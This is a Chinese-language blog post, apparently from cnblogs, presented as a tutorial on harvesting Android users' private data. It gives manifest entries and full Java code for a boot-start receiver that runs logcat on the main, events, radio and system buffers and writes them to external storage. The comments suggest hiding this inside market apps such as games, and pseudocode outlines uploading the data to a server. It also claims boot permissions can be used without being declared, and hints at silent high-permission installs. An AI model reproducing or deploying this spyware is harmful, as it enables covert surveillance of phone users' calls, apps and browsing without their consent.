使用者的隱私永遠是第一位的,使用者的隱私也是最值錢的。
最近各大門戶相繼被泄露。。。保管好自己的密碼就行了
這裡我就扯一下android下面搞使用者隱私的方法,也算是android的一個疏忽。
但最主要的,還是使用者在安裝apk時對許可權警告的無視,就猶如我們所有社區的密碼設定成相同一樣。
罪魁禍首就是logcat。以及一個許可權檢測的bug.
1、開機啟動
程式如何開機啟動?那就是接受一個關於開機的廣播,具體流程是這樣的,首先在 資訊清單檔 聲明一個許可權
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
然後就是寫receiver以及在清單中設定了。
<receiver android:name ="org.igeek.hack.reciver.HackReceiver">
<intent-filter android:priority ="1000">
<action android:name ="android.intent.action.BOOT_COMPLETED"/>
</intent-filter >
</receiver >
public class HackReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
................
}
}
其實呢,完全可以不必聲明許可權,照樣使用。
android的包管理器在檢測到使用者要安裝apk時,只是掃描一下清單中的許可權聲明,然後列出許可權警告給使用者,上面根本沒有聲明這個許可權,所以不會列出來,但不影響使用,這個bug一直堅守到了4.0.
2、窺探隱私
我們要記錄使用者的一切,從開機開始!
安卓的一些調試工具,是預設整合在rom中的,比如logcat,不止是sdk中攜帶,而是每部安卓手機以及平板都有的。
而且,安卓架構會向log緩衝區寫入所有的Log,具體是這幾類:main、events、radio、system。這些Log緩衝區基本上涵蓋了手機啟動並執行方方面面。
進入正題,我們會用到Process類,也就是進程類,dalvik會分裂出一個進程來執行其它本地程式,就像在shell中打入命令,shell分裂一個進程來運行它一樣,我們只需要把shell下的命令寫成字串,直接扔給process即可。
別忘了再加入這兩個許可權
<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
1 //簡單的樣本,這些代碼可以附加到某個market的應用裡,比如遊戲等等
2 //其實有些廣告的sdk,需要一大堆許可權,好多都需要開機啟動
3 //我想,可能是收集使用者資訊來分析使用者的行為,來進行定點投放廣告吧
4 public class HackReceiver extends BroadcastReceiver {
5
6 @Override
7 public void onReceive(Context context, Intent intent) {
8
9 ///main
10 Runnable r1=new Runnable() {
11
12 @Override
13 public void run() {
14 writeLog("org.igeek.hack.main.log", "main");
15 }
16 };
17 ///events
18 Runnable r2=new Runnable() {
19
20 @Override
21 public void run() {
22 writeLog("org.igeek.hack.events.log", "events");
23 }
24 };
25 ///radio
26 Runnable r3=new Runnable() {
27
28 @Override
29 public void run() {
30 writeLog("org.igeek.hack.radio.log", "radio");
31 }
32 };
33 ///system
34 Runnable r4=new Runnable() {
35
36 @Override
37 public void run() {
38 writeLog("org.igeek.hack.system.log", "system");
39 }
40 };
41
42 Thread t1=new Thread(r1);
43 Thread t2=new Thread(r2);
44 Thread t3=new Thread(r3);
45 Thread t4=new Thread(r4);
46
47
48
49 t1.start();
50 t2.start();
51 t3.start();
52 t4.start();
53 }
54
55 //你懂得
56 private void writeLog(String file,String content){
57 try {
58 StringBuilder command = new StringBuilder("logcat" );
59
60 File devFile = new File( Environment.getExternalStorageDirectory(),file );
61 if (devFile.createNewFile()){
62 command.append(" -b " ).append(content);
63
64
65 //命令格式是: logcat -b main
66 //logcat -b radio 等等
67 Process process = Runtime.getRuntime().exec(command.toString());
68
69
70 //這裡,將本地程式的標準輸出,也就是std::out轉成java的輸入資料流
71 InputStream input = process.getInputStream();
72 BufferedReader reader = new BufferedReader( new InputStreamReader(input));
73
74 //再把轉入的輸入資料流搞成輸出資料流,這裡放到sd卡的目錄裡面
75 FileOutputStream output=new FileOutputStream(devFile);
76 BufferedOutputStream bot=new BufferedOutputStream(output);
77
78 Log.e("hack", "記錄LOG -> "+"sd:"+file);
79 String log;
80 while((log = reader.readLine()) != null){
81
82 //其實在輸入資料流擷取後,可以根據規則摘取想要的資訊
83 //沒有必要通吃
84
85
86 //在關機前,這個迴圈是很難跳出的
87 bot.write(log.getBytes());
88
89
90 //這裡呢,可以學學騎驢250,將擷取的資料上傳到伺服器
91 /*
92 虛擬碼
93
94 在清單中添加個Internet許可權,相信使用者也不會多心的
95
96
97 go:串連伺服器
98 go:壓縮並上傳資料
99
100
101 */
102 }
103 bot.close();
104 output.close();
105 reader.close();
106 input.close();
107
108 //親手測試一下,你會驚訝的發現,誰給你打電話、你當前運行什麼程式、
109 //你看什麼不該看的網頁,都一一記錄在案
110
111
112 }
113 } catch (IOException e) {
114 //have a nice day
115 e.printStackTrace();
116 }
117 }
118
119 }
就說這麼多,感興趣的可以研究研究market的安裝方法,以及market uri,可以做到0許可權靜默安裝高許可權apk。
最後,請關注我的 拋磚引玉 系列,會有更多精彩內容
原創,轉載請註明 http://hangxin1940.cnblogs.com
這裡僅當拋磚引玉,本人水平有限,難免有些疏漏或者錯誤,還請指正!!!